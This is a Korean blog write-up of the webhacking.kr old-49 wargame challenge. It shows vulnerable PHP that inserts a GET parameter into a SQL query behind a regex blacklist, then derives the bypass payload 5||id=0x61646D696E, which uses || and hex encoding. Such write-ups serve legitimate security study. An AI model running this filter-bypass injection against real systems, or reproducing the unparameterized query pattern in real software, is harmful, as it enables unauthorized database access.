컴맹에서 컴공 그리고 화이트 해커가 되는 그날까지

webhacking.kr old-49 Write Up 본문

해킹/Web hacking

webhacking.kr old-49 Write Up

공부하는 뚱이 2025. 3. 6. 17:02
반응형

old-49 실행화면

코드 분석

<?php
// $_GET['lv'] 값이 설정되어 있는지 확인합니다.
if($_GET['lv']){
// 데이터베이스 연결 함수 호출 (구체적인 내용은 정의된 dbconnect() 함수에 따라 다릅니다).
$db = dbconnect();

// $_GET['lv']에 SQL injection 방지 필터링 적용.
// select, or, and, (, ), limit, ,, /, order, cash 등의 키워드와 공백, 탭, 따옴표가 포함되어 있으면 프로그램 종료.
if(preg_match("/select|or|and|\(|\)|limit|,|\/|order|cash| |\t|\'|\"/i",$_GET['lv'])) exit("no hack");

// 필터링된 $_GET['lv'] 값을 사용하여 chall49 테이블에서 id 값을 가져옵니다.
$result = mysqli_fetch_array(mysqli_query($db,"select id from chall49 where lv={$_GET['lv']}"));

// 쿼리 결과에서 가져온 id 값을 출력합니다.
echo $result[0];

// 가져온 id 값이 "admin"인지 확인하고, "admin"이라면 solve(49) 함수 호출.
if($result[0]=="admin") solve(49);
}
?>

 

취약점이 존재하는 곳

$result = mysqli_fetch_array(mysqli_query($db,"select id from chall49 where lv={$_GET['lv']}"));

 

만들어야 하는 sql 구문

select id from chall49 where lv={}

 

필터링된 것들

 

  • select
  • or
  • and
  • (
  • )
  • limit
  • ,
  • /
  • order
  • cash
  • 공백( )
  • 탭(\t)
  • 작은따옴표(')
  • 큰따옴표(")

아 그럼 lv input 값에 1||id=0x61646D696E 넣으면 되겠지 하고 입력했는데

이렇게 입력하니까 나오지 않아서 왜 안되지 했었다. ㅋㅋㅋㅋㅋㅋ

 

 

OR이니까 앞의 값이 거짓이 되어야 참인 뒤의 값이 나오는걸 까먹지 말자!!!!!

 

lv 값이 5부터 id가 출력되지 않았다. 그래서

5

select id from chall49 where lv={5||id=0x61646D696E}

이렇게 입력하면

 

 

굿!

 

OR이니까 앞의 값이 거짓이 되어야 참인 뒤의 값이 나오는걸 까먹지 말자!!!!!

반응형